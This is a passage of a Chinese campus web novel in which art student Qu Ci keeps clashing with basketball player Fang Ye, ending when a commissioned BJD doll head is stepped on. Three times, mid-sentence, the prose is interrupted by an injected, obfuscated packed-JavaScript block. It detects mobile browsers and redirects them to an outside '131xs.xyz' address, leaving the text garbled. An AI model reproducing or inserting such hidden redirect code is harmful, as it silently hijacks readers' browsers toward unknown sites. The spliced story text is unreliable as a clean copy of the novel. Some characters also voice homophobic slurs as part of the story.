“不行,空腹喝咖啡会升高皮质醇,我现在要保持情绪平静,美美做完手里这个伟大的作品。”话音刚落,曲辞又打了个哈欠。 阮林无语:“我看你是人醒了,大脑还睡着,你现在是在食堂啊辞,先吃口东西再喝不就完了吗?” “有道理。”曲辞抹了一把眼角飙出来的泪花,“去吧林砸,你想吃什么,我去排队。” “不用了,我减肥,一会儿自己买个玉米啃啃就行了。”阮林扭头往咖啡机跑去,那玩意抢手得很,一会儿没注意就排起了长队。 眼泪流得多,鼻涕都出来了,曲辞吸了吸鼻子,转身去自己最爱的档口前排队。 不理解阮林已经很瘦了,为什么还要减肥,男同对自己的外在要求这么高吗?反正自己是不控的,青春年华正是代谢最好的时候,当然要大吃特吃! 微凉的清晨,先用一碗温暖热辣的重庆小面唤醒沉睡的心灵吧! 等一会儿再去买一份肠粉溜溜缝,这样上第一节课的时候,就能让碳水发挥它应有的作用,换来一场美梦。 睡醒之后,咖啡应该也就起效了,到时候就是元气小辞,可以用剩下的时间把娃衣版型图画出来! 简直完美! 小面档口前排队的人很多,曲辞站在人群里简直快睡着了,梦游似地跟着队伍往前走,刷完卡领完号码牌,转身去旁边等着。 由于都有号码牌,等取餐的人就没排队,混乱地挤成了一团,他迷糊着想要参与进去,谁知不小心踩到了别人的脚。 “啊,不好——” “意思”两个字还没说出口,被踩的那个人就反应干脆地抽出了脚,曲辞重心还没有站稳,这会儿踉跄地向前栽去。 面前几乎每一个人都手里端着自己的早饭,护饭心切的大家此刻简直都精通凌波微步,以迅雷不及掩耳之势从他面前闪走。 曲辞本来就困得灵魂出窍,这会儿脚底下一路拌蒜,踉踉跄跄地“弹射”出了人群,头栽向前,闷声撞上了一个坚固又软弹的“墙”,鼻尖还被一个硬硬凉凉的东西给硌了一下。 “哎哟!”他下意识地叫了一声。 突然间耳边一片宁静。 他双手摸到了运动服凉凉的手感,手底下是隆起的肌肉线条,硬邦邦的,足够让他有力气扶着站稳,然后缓缓抬头,映入眼帘的是方谒那张没有表情也看起来凶神恶煞的脸。 怎么说呢,第一次这么近距离看这张阮林口中的建模脸,确实有点小震撼。 帅归帅,但感觉像是要吃人。 然后就听方谒冷冷地问:“站稳了吗?” “哦,站稳了。”曲辞连忙松开手,向后退了一步,“抱歉。” 从方谒的角度看去,这人鼻尖被自己运动服上的拉链头给硌红了,仰着的脸上表情空白,眼神涣散,懵懵的,显然不是出自故意,道歉态度也很不错,没必要介意。 于是他点了个头,继续往前走了。 曲辞站在原地愣了两秒才回过神来,注意到附近一圈人都在举着手机对着他,见他看过来,才快闪一般收起来走人,接着就见阮林举着咖啡杯一脸惊喜地冲他跑过来。 “辞!我辞!辞哥!你可真猛!”阮林压低声音吼道,“你居然埋了方谒的胸!” 埋胸?! “什么鬼!”曲辞无语,“我那是头槌好嘛!” 阮林立刻拿出手机,低头开始翻群聊:“我刚才没来得及拍,等会儿有人把视频传群里,我一定第一时间存下来给你看!就是埋胸!不然你鼻尖怎么撞红的?!” 曲辞回味起方才那一瞬间的碰撞,脸的触觉确实又硬又弹,要说是胸肌,倒也能解释得过去。 可这又能怎?!不过平平无奇一个意外罢了。 “随便吧,饿死了,我要去领我的小面!”他推开阮林,扑向了取餐窗口。 阮林望着他的背影,忧郁地叹了一口气:“怎么这种好事轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345563|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到我呢?浪费在直男身上,真是可惜。” “这人叫什么?曲辞是吧?”食堂一角,应寒一边盯着手机一边说,勾起嘴角一笑,把手机画面给对面的方谒看,“都说他埋你胸。” 方谒正在暴风吸入面前的小笼包,腮帮子塞得鼓鼓的,只抬眼看了看他的手机屏,没有任何反应地埋头喝了一口豆腐脑。 埋胸什么的他没注意到,就是磕磕碰碰一点小事,整件事不过三秒钟,不知道怎么还被拍了视频。 他咽下去嘴里的东西,才腾出空说:“你可真够闲的。” “不怕被小基佬缠上吗?”应寒大口大口吃着自己的肉包,还能见缝插针地说,“这人在咱们这一届也算小有名气,最热门的话题就是对他的性向讨论,某个你不在的企鹅群里有投票,90%的人都觉得他不直。” 方谒觉得这番话好像有点似曾相识,想起不久前石恒曾跟自己念叨过。 那烦人玩意儿说是一回事,基友也这么说,出于曾经的不悦经历,他还是会思考一下。 又咽下俩小笼包之后,他才开口:“你觉得他是男同?” “这我哪知道,但我看着也觉得他不直。”应寒很随意地说,“长得好,还留长头发,看着就是个精致boy——刚才人都扎你怀里了,你没什么感觉吗?” 方谒回想了一下,脑中重现了方才低头看过去时曲辞那张楚楚可怜的脸。 他看不出什么男不男同的,但这会儿想起来,被撞击的片刻,他闻到了一股很香的味道。 像是洗发水的香味,从曲辞那绑起来的丸子头上传来的。 玫瑰香,谁家直男用这个? 打扫完豆腐脑,方谒抽了张纸巾擦嘴:“我该有什么感觉?他直不直我不知道,反正我是直的。” “可拉倒吧,你这么不喜欢人类,就算是校花扑你怀里你也没什么反应,你就不该用直还是弯来衡量。”应寒嗤笑着说。 方谒端着托盘站起来:“那还说?” “我这不是担心你吗?”应寒也端着托盘跟上,“怕上学期那个谁的事重新上演。这曲辞看上去也不是个省油的灯,万一他比那谁还难搞呢?” 难搞吗? 方谒把托盘放到回收处,不经意地一转头,看见曲辞一手托腮,正笑眯眯地跟面前的男生说着什么,接着想起了他对付石恒的那一幕,还有石恒对他的评价。 两人刚发生完矛盾,石恒那些话里有多少水分还不得而知,但这个“小漂亮”,从他跟石恒交战的手段来看,确实不是软柿子。 被男同缠上确实很烦,不得不防。 曲辞一抬眼,发现方谒面无表情地看向自己这边,鉴于先前自己撞了人家,他很有礼貌地送上一个微笑,轻轻一点头。 谁知对方冷着脸,没有任何反应地扭头就走。 不是吧?这就算结了梁子了吗? 曲辞愕然。 想象昨天此人的“超雄”表现,昨晚在宿舍门口向自己投来的凶恶目光,还有方才低头看自己时那副吃人面孔,他有点无语。 既然你不是善茬,那我也只能提高警惕了。 另一边,方谒跟应寒走出二食堂大门,语调冷淡地说:“他要敢纠缠我,我会让他死得比那人还惨。” 5. Chapter 5 娃妆方案定了,娃衣样式也定了,剩下的就是愉快的制作阶段。 曲辞忙着上课、找兼职、做手工,想想这娃做好的成就感,实在是充满期待。 圈外人不懂娃妆和娃衣的精细度和复杂程度没关系,只要自己有收获就足够了! 兼职也找得差不多,就在大学城的商业街,是一家比较有逼格的独立咖啡馆,老板也是个艺术家,人很好说话,他跟老板商量好了,等忙完手头这个活儿就可以去上班。 虽然他们学校刚搬来这个校区,但附近已经有不少学校在这里运转了几年,就这么一条商业街,应当不愁客源,自己多卖卖力,只要没课就过来上班,一个月挣两千块应该没问题。 再加上娃娃这边随便挣点,嘿,是暴富小辞! “哇塞,这次搞得真不错,太漂亮了!”阮林端详着被放在盒子里风干的娃头,赞叹不已,“比你的效果图还好看。” 今天周末,寝室三个篮球生全都不在,曲辞趁这个时间把上好妆的娃头拿出来喷消光,这个东西稍微有点毒性,他在开放式阳台的喷漆箱里进行,弄完了之后还打开了房门通风。 他们寝室楼是单面的,房门对面是走廊窗户,这南北通透,小风一吹十分爽利。 看着基友赞叹的眼神,曲辞非常有成就感:“不错吧,能不能看出来三分清冷、四分魅惑和三分病娇?” “那必须的,辞哥一出手,就知有没有。”阮林忍不住拿手机拍了几张照,“我都能想象出给她配上头发和帝政裙的模样,一定是那个娃娘家最靓的崽。” 曲辞坐在缝纫机前,低着头把手里的布料往针下送:“你就等着看吧,等我把娃衣做出来,更比效果图好看——好了,过来试试你的小裙子。” 过阵子他们参加社团活动的汉服秀,阮林决定反串唐朝仕女,在网上买了一套唐制襦裙,到手之后感觉尺寸有点不太合适,跑过来找他稍作修改。 曲辞则打算穿一套明制的男装曳撒,衣服还在路上。 “来了!”阮林没脱T恤,直接把裙子往身上套,非常轻车熟路地一件件穿好,拉开曲辞的柜子,往柜门内侧贴着的穿衣镜前一照,“啧,不愧是我辞哥,简直是量身定做!” 曲辞忙着拆快递,退远了几步打量他身上衣服:“这么看就完美了。你头发想好怎么办了吗?” “我买了假毛,当然是辛苦你给我盘头化妆啦!”阮林笑嘻嘻地对着镜子扭了扭胯,拽着裙摆晃了晃。 他是个圆脸圆眼的可爱小0,脸颊轮廓更加柔和,上妆之后扮成女孩子完全没有违和感,就是现在这短头发的模样配裙子有点怪,不过曲辞习惯了。 俩人是汉服社和cos社的骨干,经常互相化妆,由于曲辞做壮士(妆师)时间比较久,对女生发型和化妆更有经验,阮林经常犯懒让他来弄。 能锻炼手艺,曲辞从来没什么怨言,不光对阮林,对社团的其他女生也都很热心。 正因为如此,对于他是男同的猜测才甚嚣尘上。 大部分人都是暗搓搓地猜测,小部分人敢直接问他,曲辞的回答都是“直男”。 毕竟他没喜欢过哪个男生,也从未对男性身体有过任何的向往。 曾经他们美术生集训营里来过身材爆好的男裸.模,阮林私下和他说自己看得都有反应了,曲辞却完全无感,他的眼里完全没有对男人的好感,只有对自己画技的追求。 不过呢,他也没有对哪个女生产生过感情,估计因为太忙了,一直忙着被霸凌、反抗霸凌、学习还有磨练各种手艺。 忙碌小辞,是恋爱绝缘体! 虽然从高中到大学,也有些女生跟他表白或者暗搓搓示好,但曲辞觉得自己得稍微有一些积蓄,事业稳定之后再考虑谈恋爱的事,不然精力真是不够用的。 “来,把这个披上我看看。”他先把帔帛扔给阮林,再从包裹里小心翼翼拆出自己为了做娃衣买的布料。 店家是他常光顾的,一般来说质量不会有问题,但他还是检查得很细致,免得用的时候出什么问题,到时候再买就来不及了。 曲辞很注重自己作为乙方的信誉,坚决杜绝任何意外发生。 阮林披好了帔帛,在他面前又转了一圈:“怎么样,没有没有唐代美人的气质。” 曲辞看了他一眼,顺手把展开的一卷蕾丝往自己脖子上一挂,抬手去帮他整理衣服:“不错不错,到时候上了妆,保你‘六宫粉黛无颜色’。” “嘿嘿,来啊,快活啊,反正有大把时光。”阮林对社团活动很憧憬,这会儿挥着帔帛往他脸上撩,唱了起来,“来啊,爱情啊,反正有大把愚妄。” 曲辞对他在自己面前暴露真我的样子已经习惯了,随他玩,忽然间余光里觉得有一大块阴影,下意识地看过去,就看到方谒举着手机打电话,但突然驻足在了他们的门口。 平日里没什么表情的凶脸上,仿佛闪过了一抹惊愕。 几天前才在食堂里发生过冲撞事件,尽管自己不是故意的,也道过歉了,但在最后一瞥对上眼神的时候,自己示好地主动送上微笑,对方居然没搭理自己,曲辞拿不准对方是个什么态度,现在不知道该不该和对方打招呼。 不打吧,又不算是素不相识;打吧,但这人好像对自己态度很一般,自己再主动,岂不是很没面子? 而且,尽管上次方谒算是帮了自己,可他依旧是个曲辞本能就会讨厌的体育生。 这会儿电线杆子似地杵在门口,穿着一身运动服,看上去身形挺拔有点小帅,但195的身高非常挡光,站那儿又不说话,光盯着他们看。 很没有礼貌! 就在曲辞不爽地打算质问“看什么看”、以及阮林惊喜地喊出了“方”字的时候,方谒听着电话,迈步继续往前走了。 最后一个眼神有着明显的厌恶。 男生宿舍开着门很正常,走过路过对上眼神随便点个头都算打招呼,这个表现算是怎么回事? 曲辞大步冲过去,“咣”地一声甩上门。 “那是方谒诶!”阮林有点小激动,“他是不是看我了?”扭头照了照镜子,有些懊恼,“可惜了,要是戴了假发可能好点,这种直男可能不习惯看到男生穿女装。” “需要他习惯吗?和他有关系吗?你管他怎么想呢!”曲辞不爽地继续整理包裹里的布料。 阮林是那种没什么脾气的小棉花,普通的恶意他感觉不到,明显的恶意他不敢吭声,属于那种很麻利就跟自己和解、精神状态十分c ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345564|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' hill的孩子,跟曲辞像一对反义词。 当初霸凌他的是几个学渣,不是体育生,他没有曲辞那种对体育生根深蒂固的厌恶。 恰恰相反,体育生在他们男同看来是天菜,方谒这种长得帅打球又好的更是天菜中的天菜。 所以他对方谒有一种粉丝见了爱豆的狂热。 以前知道曲辞对体育生的刻骨仇恨,阮林很少提这帮人,最近是有点没藏住,毕竟一搬校区,他跟体育生的距离一下子近了很多,就像老鼠掉进了米缸里,要说一点不惦记那真是违背本性了。 他小心翼翼地脱掉身上的裙子,在桌上叠起来:“哎呀,人和人之间都是互相影响的嘛,太我行我素了不太好,得注意别人的观感。” “你又没舞到他面前,是他站在别人宿舍门口往里看,说到底也是他的问题。”曲辞理直气壮。 阮林把裙子包好,看着他犹犹豫豫地说:“辞哥,你不要跟方谒结仇吧,我不是为他说话,而且我也就是对他远观一下,没有想过要亵玩——但他那么不好惹,我怕你像对石恒那样对他,会惹上麻烦。” “放心吧你,我又不是好战分子,忙着赚小钱钱,没空跟谁结仇,除非他非要找我麻烦。”曲辞把检查好的布料装回防尘袋,放进整理箱。 “那就好那就好。”阮林松了一口气,在他身上比划了一下,“刚才我看见你浑身的刺都张开了,好久没见刺猬辞哥再现神迹,有点担心。” 曲辞抱起双臂耸了耸肩:“可能是一下子跟三个体育生住一屋,还在应激期。真是毁我阳光小辞的好名声。” “不会啦不会啦!”阮林拍了拍他的肩膀,“我辞永远阳光!” 两间宿舍之外的308,方谒才跟家里打完电话,靠在电脑椅上回忆了一下方才的片段。 经过305的时候,他并不是故意站着不动往里看,当时属实是脑神经还在通话,视觉却被穿裙子的男生给震惊住了,再加上那人还一直往曲辞脸上撩袖子,看起来俩人就像打情骂俏。 对他来说这画面有些过于震撼,让他短路了一下,反应过来之后立刻走了。 根本顾不上什么礼貌不礼貌。 “发什么呆呢?”应寒从外边回来,看到他这一副苦大仇深的表情,好奇地问。 方谒若有所思地说:“那个曲辞,可能真是男同。” “怎么了?他对你下手了?”应寒震惊,“骚扰你了?” “还没有,我就是看见他跟他那个朋友打闹,觉得不太对劲。”方谒说。 穿裙子的是另一个男生,其实曲辞看起来相对正常,他身上挂着蕾丝布条,长发披肩、相貌清秀,脖颈修长,跟蕾丝并不违和,甚至还有几分好看,但这种浑然天成的状态更可怕。 应寒十分同情地拍拍他的肩膀:“我真不理解,你是什么吸男同体质吗?怎么总招惹这种烂桃花——不,不是桃花,去年那个谁就是个变态。反正看好你的内衣还有袜子,还有,别跟那个叫曲辞的走太近,上次被袭胸就该警惕。” “倒也不必这么过度紧张。”去年的事方谒不愿意再提,也不想随随便便就把不了解的人跟那个变态相提并论,“不过我会多留意他。” 男同实在可怕,不得不防。 6. Chapter 6 娃娘对化好妆的娃头表示非常满意,曲辞愉快地推进下一阶段——制作娃衣。 缝纫机有噪音,只能抽室友没睡觉的时间做,量体裁衣、钉上蕾丝、做出花边和抽褶,给每一道花边缀上珠子,最后再冒着瞎眼的风险把水钻一颗颗粘上。 娃衣大概做了一周,又抽出一个晚上的时间给娃做了头发、皇冠、鞋子和手里拿的折扇。 还好这次的娃是纯黑发,不需要自己染色,比较省时间,最后大功告成的时候是晚上两点多,室友们鼾声如雷,昏暗的寝室内只有曲辞桌前亮着一抹暖光。 全妆做好的BJD娃娃安静地站在桌上,那台灯暖光仿佛成了她的追光,黑色绸缎材质的帝政裙在灯光下微微反光,高腰的款式和蓬蓬短袖让她看上去显得纯真可爱,拖地的长尾和熠熠生辉的碎钻衬托出她女王一般雍容华贵的气质。 最绝的还是那栩栩如生的妆容,给了她最迷人的反差感,猛地看过去,表情细致入微,鲜活如真人。 “埃洛伊丝,这是属于你的世界,自由飞翔吧!” 曲辞俨然已经入戏,举着手机对着娃娃反复拍了好多照片,甚至还录了视频,脑补着她动起来的模样,心中默念娃娘给她取的名字,送上最真挚的祝福。 啊啊啊啊!为什么现在是半夜两点半啊!好想大喊啊! 谁能体会这种做完了一个大工程的爽感! 完工的喜悦和对于自己作品的骄傲在曲辞胸口掀起了三米多的巨浪,他无处排解,但又必须排解,最后揣着手机悄么声地打开寝室门出去。 宿舍楼已经锁了,哪怕宿管大妈看见曲辞就像看见亲生儿子那样亲切,他也不好意思去扰人清梦,只能在走廊里透透气。 临近十一假期,凌晨的气温已经很低了,曲辞还穿着短袖短裤,虽然有点发抖,但他不确定是因为激动还是因为冷,倒是这会儿沁凉的空气吸入肺里,让他有一种贯穿了身体的透彻感,实在是爽! 他趴在窗台上,对着纱窗外的黑夜无声地“啊啊啊”了一会儿,还觉得不太过瘾,攥着手机手舞足蹈地在走廊里跑了起来。 为了不发出声音,曲辞只能趟着跑,脚上的拖鞋摇摇欲坠。 就在他像刚从石头里蹦出来的孙悟空那样纵情奔跑一个多来回之后,拖鞋一下子被甩了出去,人也一下子失去平衡,“咚”的一声闷响,趴在了地上。 居然还能紧紧握着手机,也是爱财如命了。 “啊……好疼……”曲辞龇牙咧嘴地趴在地上,发出无声的哀嚎。 好在趴地之前先本能弯下腰,降低了高度也提供了缓冲,否则刚做完旷世杰作的这双妙手就得扭了。 但拿着手机的右手,是手肘平着在地上磨了几厘米,现在就像被砂纸打磨过那样疼。 算了,从哪里跌倒,就在哪里躺平,曲辞决定躺一会儿,等痛感消失再起来。 反正凌晨三点,不会有第二个神经病出来。 谁知就在这个时候,面前的寝室门开了,曲辞惊悚地把眼睛眯成一条缝,借着窗外映进来的微光,看到了方谒的脸。 这人身高优越,平时在他跟前仰头看就已经觉得压力十足,这会儿躺在地上,隔着整整195厘米的距离看他低下来的那张面无表情的凶脸—— 曲辞有一种成为尸体以后看凶手的feel。 “你在这儿干什么?”方谒压低声音问。 天再暗也能看出来躺在地上的人是谁。 他这么晚还没睡是为了学英语,想在大二把六级给过了,毕竟国贸专业还是挺看重外语的。 正准备要睡觉的时候听到外边一阵窸窸窣窣,然后还有一声闷响,顿时觉得不对劲,决定出去看看。 谁知一开门就看见一长条人横在面前,宛若什么凶案现场,胆大如他其实心里也吓了一跳,只不过处变不惊习惯了,还没来得及露出害怕的表情就恢复了镇定。 认出是那个疑似男同的曲辞之后,他的脑子“嗡”地响了一声,瞬间爆出了无数种猜想。 来偷内衣和袜子的? 半夜来盯着我睡觉的? 还是想投毒? 这人有病吧?脑回路这么抽象吗? 大晚上的人都在,他以为能得逞?不怕被当场抓现行? 怎么还躺着不动? 方谒低头细细观察曲辞。 正面躺着,T恤下摆向上撩起,露出一截腰,细得好像两只手就全都能握住,月光下的皮肤白得反光。 试图勾引我? 听到方谒的问话,曲辞“唰”地就把眯缝着的眼睛闭死了,并期待因为夜光太暗,隔着将近两米的距离,对方没看到他在睁眼。 要命了,为什么最近总能跟这个人撞见,难道这就是频率错觉?! 看到曲辞装死不说话,方谒毫不留情地用脚尖捅了捅他:“起来。” 曲辞继续装死。 方谒又捅了他一下,沉声道:“别逼我把所有人都喊起来。” 这个时候,曲辞才微微动了动,缓缓睁开双眼,装出一副刚醒过来的朦胧样子,迷惑地坐起来,四下环顾一圈,才抬头看看他。 “不好意思。”他连忙扶着地面站起身,压低声音语速飞快地说,“我应该是在梦游,唉老毛病了,要是吓着你了实在抱歉,不打扰了,你快去休息吧,多谢多谢!” 说完立刻脚底抹油溜了。 回到自己寝室,靠在门上平复了半天呼吸,心脏还是咚咚直跳。 哈哈,怎么还有点刺激呢? 今天是不走寻常路的小辞! 彻底恢复平静之后,曲辞换了衣服爬上床,戴好耳机听了一会儿白噪音,倦意便如海潮一般涌上来,很快沉沉地睡着了。 反正下午才有课,上午够补觉的,尽情睡吧! 方谒可就睡不着了,躺在床上辗转反侧了好一会儿,实在不太相信这个“梦游”的借口,怎么想都觉得此人不对劲。 很不对劲。 由于思虑过多、睡得太少,第二天起来黑眼圈简直砸脚面,无奈早八有宏观经济学,教授点名贼严,他只能拖着疲惫的身躯去上课。 一觉醒来,第一节课已经过去了。 “昨晚做贼去了?怎么这么困?”应寒笑话他。 方谒双手使劲揉了揉脸:“就这么嫉妒我用功是吗?” “我又不像你有家业要继承,用这个功有屁用。”应寒无语,“你这么用功,上课怎么还睡觉?” “宏观自己背背就行了,又不是别的。去给爸爸买瓶咖啡。”方谒推了他一把。 应寒出离愤怒:“这么离谱吗?你让我去买,难道不是该叫我爸爸?” “怕把你叫老了在场上更跑不动。”方谒勾了勾唇角。 应寒站起来:“行,反正我要上厕所,给你带什么回来你就喝什么。” 等他出去,方谒环顾四周,看见隔了一排挨着过道坐着尹旭和毛彦明。 这门是专业基础课,跟会计和工商管理俩专业一起在大阶梯教室上,这俩是会计的,正好还是那个曲辞的室友。 思考片刻,方谒起身过去,直接问尹旭:“你们屋那个艺术生,有梦游的毛病吗?” “梦游?”尹旭看了看一脸茫然的毛彦明,又想了想,摇摇头,“没听说。” 谨慎起见,方谒又问:“住了快一个月,见过他梦游吗?” “反正我是没见过。”毛彦明说,“我都一觉到天亮。” 尹旭眼珠转了转:“你看见他梦游了?” “昨晚他躺倒在我们寝门口,我问他怎么回事,他说梦游。”方谒丝毫没有替曲辞保密的意思。 毛彦明意外地“啊”了一声:“几点啊?我睡觉的时候他还在忙活着做他的手工,感觉又是要熬夜的节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345565|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏,应该不会——” 话还没说完,桌子下的腿就被尹旭撞了一下,话头直接被掐断。 尹旭接着说:“我们也才刚和他住不到一个月,可能他有梦游症但没跟我们说,没准是不想说,觉得不太好意思。” 方谒点了点头,拍了下他的肩膀:“谢了。” 尹旭说的可能是事实,但曲辞八成是装的,这种居心不良的男同嘴里没有一句实话。 曲辞美美睡到十点多,起来给自己泡了个麦片,又吃了根红肠,然后点开手机,接受了娃娘360度无死角的夸夸。 昨晚他发过去太晚,娃娘这夜猫子也睡了,一打开两人聊天界面,满屏都是跳跃的动图,那叫一个喜庆。 接着又收取了来自阮林的祝贺,孩子上来就发的语音:“啊啊啊啊啊,辞哥,真的好漂亮!太漂亮了!你是我的神!等我攒攒钱买个三分叔体,你一定要帮我做我OC啊!” 曲辞非常得意,拿起手机也回复语音:“没问题,友情价,给你打骨折,出材料费就行。” 美好的一天从中午开始! 娃娘等不及了,想让他尽快把娃寄过去,但曲辞下午前两节有课,只能下了课回来打包。 阮林陪他一起回来,迫不及待地要亲眼看一看成品。 哪怕没有灯光营造氛围,在白天自然光下,埃洛伊丝依旧是那么栩栩如生、漂亮动人,像是帝国未来的主宰一样睥睨天下,又像是对爱人投去暗藏眷恋的一瞥。 阮林小心翼翼地趴在桌上,左右端详,颤抖的小手手靠近又拿开,不敢轻易触碰娃衣,生怕给碰坏了。 “真的是旷世杰作啊辞哥,娃娘要是把这个发出去,你就赶紧涨价吧,你绝对值得!”他转头看着曲辞的眼里都是小星星。 经过昨夜的疯狂,曲辞现在已经十分平静,端庄地点头:“这个看情况。看够了吗?我得打包了。” 阮林依依不舍地说:“打包打包,尽快让娃娘感受一下实物的震撼。” 曲辞小心翼翼地把娃衣脱掉,每一件都仔细叠好,装进密封袋,再把配饰放在小盒子里用保鲜膜缠上。娃头和娃身分开包装,都用珍珠棉一层层包好,上过妆的娃头还要用亚克力盒子单独装起来,防止邮寄过程当中出现意外。 过了一会儿,漂亮的埃洛伊丝已经“人首分离”,被装进了快递盒里,盒子周围还垫了很多防撞块,非常谨慎了。 寄快递要检查内容物,暂时不能封口,曲辞抱着快递盒和阮林一起去快递点。 刚出门,迎面就撞见了一群篮球特长生成群结队地过来,都是经管院的那一帮,应该是回来换衣服去训练的。 在本就不宽敞的走廊里跟十几个身高在185到198之间的大柱子们狭路相逢,压迫感还是太强了。 就连对体育生趋之若鹜的阮林都捏紧了挎包带子,有点紧张。 曲辞本想溜墙边,谁知篮球生队伍自动分岔,他只能从中间过。 打头的几个人脸上挂着戏谑的笑容,显然有点使坏的意思。 从小到大见过的体育生都这个德行,仗着人多故意戏弄别人,被熟悉的气氛包围,曲辞有点应激,只想尽快通过。 两边都是人,留给他的空间狭窄,他不好环抱着手里的盒子,只好暂时用一侧胳膊夹着。 谁知下一刻,手肘麻筋被撞了一下,胳膊一软,快递盒当即落地,又恰好落到了一个人的脚上,等于被踢了一脚,盒子往前弹了出去,“咣当”落地。 装着娃娃的彩盒从快递盒里掉了出来,盖子被颠开,单独包装的娃头率先摔在了地上。 曲辞心脏提到了喉咙口,弯腰试图抢救—— 接下来的几秒钟就像是慢放的画面,他眼睁睁地看见自己的手还没来及触碰到被包起来的小盒子,一只船一样的大脚就踩了上去。 “嘎嘣”一声,他觉得自己的心都碎了。 7. Chapter 7 有谁体验过心碎的感觉? 心脏被捏在别人手里,嘎嘣一下碎裂,接着钝痛随着神经蔓延整个胸腔和全身,喉咙像被什么无形的手掐住,完全无法呼吸。 大脑也一片空白,时间仿佛停在了这一刻。 只能听见“嗡”地如同话筒啸叫一样漫长的耳鸣。 现在的曲辞,就是处于这样的状态。 他疯狂地扑过去,使劲拍打那只脚,从鞋底下抠出了被踩过的小盒子。 千万不要有事!千万不要有事! 仔细包了这么多层,一定不会有事! 曲辞心中默念。 但他目光落向盒子的那一刻,就知道,完了。 尽管被重重包裹,可这么脆弱的玩意儿哪经得起高大的篮球生那一脚,盒子明显瘪了一块。 曲辞双手颤抖地拆开外边的重重包裹,看到娃头的那一刻,更加绝望。 原本顾盼生姿的埃洛伊丝,侧脸裂开了明显的一条缝,彻底被毁了。 阮林看到这一幕,也惊呆了,一时不知如何是好。 旁边围观的篮球生们却开始起哄,还有人手贱地捡起了别的配件好奇地打量。 “哟,这什么啊?洋娃娃吗?” “我靠,这么变态?怎么不把衣服给人穿上?” “啧啧啧,真是重口味!” 曲辞几乎要发疯,猛地一仰头,看到方谒正眉头微皱地盯着他。 “你赔我!”他站起来,瞪圆了眼睛冲对方大吼。 多少钱能衡量他为作品付出的心血?多少钱能弥补心血被毁的痛苦? 原本一个完美的娃娃就此消失,多少钱能够抵得过它的价值? 哪怕自己能够重新做出一个一模一样的,可埃洛伊丝就再也不是独一无二的了! 替代品是踩在陨落的娃娃尸体之上诞生的,它何其无辜! 可曲辞不能不要赔偿,他还得给娃娘一个解释。 方谒觉得自己纯属无妄之灾。 他明明走在这帮人的最后,边走边看手机,根本不知道前边发生了什么事,看到有个东西往自己脚底下飞过来的时候已经晚了,“咔嚓”一脚就踩了上去。 偏巧这个东西,属于这个疑似对自己心怀不轨的小基佬。 但就算倒霉,这玩意确实是自己踩的,所有人都看见了,他不是会赖账的人,尤其不想曲辞打着这个旗号来纠缠自己。 赔,当然赔,一个娃娃而已,难道还赔不起? 不过,一个大男人不仅玩洋娃娃,还把洋娃娃脱成那样,很难不让人认为是变态。 方谒看着曲辞红得几乎要滴血的双眼,冷静地说:“多少钱?” 曲辞的脑子卡了一下。 娃体就六千,要去网上找全新的,别人肯定整套出,不会只卖娃头,这部分价格只多不少; 就算衣服还能用,可自己的精神损失呢?怎么赔? 娃妆所付出的时间成本呢? 还有对娃娘的歉疚,跟对方沟通的成本,也很难用金钱来计算。 方谒已经把微信扫码页面调出来了,就听对面的这个“小漂亮”理直气壮地说:“一万!” 夺少? 方谒还在怀疑自己的耳朵是不是出了问题,围观的篮球特长生们已经爆了。 “我靠,真敢要啊!狮子大开口嘛这不是?!” “一个破娃娃敢要一万,想钱想疯了吧?” “是不是知道方谒不差钱,搁这儿爆金币呢?” “小基佬你想发财有的是办法,不用逮着自己校友宰吧?” 曲辞猜到他们会是这样的反应,完全没有搭理这些阴阳怪气的人,只顾死死盯着眼前的方谒。 阮林再钝感力满满,也知道这帮人说的“发财方法”是什么,感同身受地体会到了侮辱。 他劈手夺过一个体育生手里拿着的娃身,怒道:“闭上你们的臭嘴,我辞哥为了这个娃付出了多少心血你们知道吗?这娃衣是他亲手做的,上边的水钻是他一颗一颗镶上去的!赔钱难道只看东西本身的价值吗?!” “不过,这衣服并没坏啊,还是能用的。”站在方谒旁边的应寒说。 虽然看起来有些怕他们,但阮林还是勇敢为曲辞发声:“衣服是用来证明辞哥付出了多少心血,娃娘,不,客户本来就对自己的娃娃很在意,现在最重要的娃头被弄坏了,辞哥得跟客户道歉,得商量解决方法,最后什么结果还不清楚,但肯定是要自己买一套裸.娃,如果这娃是限量版,肯定还要溢价,就算买回来也得重新给娃头上妆。你们不要以为画娃头很简单,其实很麻烦的——” “哦哟,原来是二次元啊!”旁边有人起哄,阴阳怪气地说,“二次元可就不好说了,价格水分太大,方谒你可别轻信他。” 接着有人附和:“就是,天花乱坠的说这个那个的,一万块张嘴就来?” 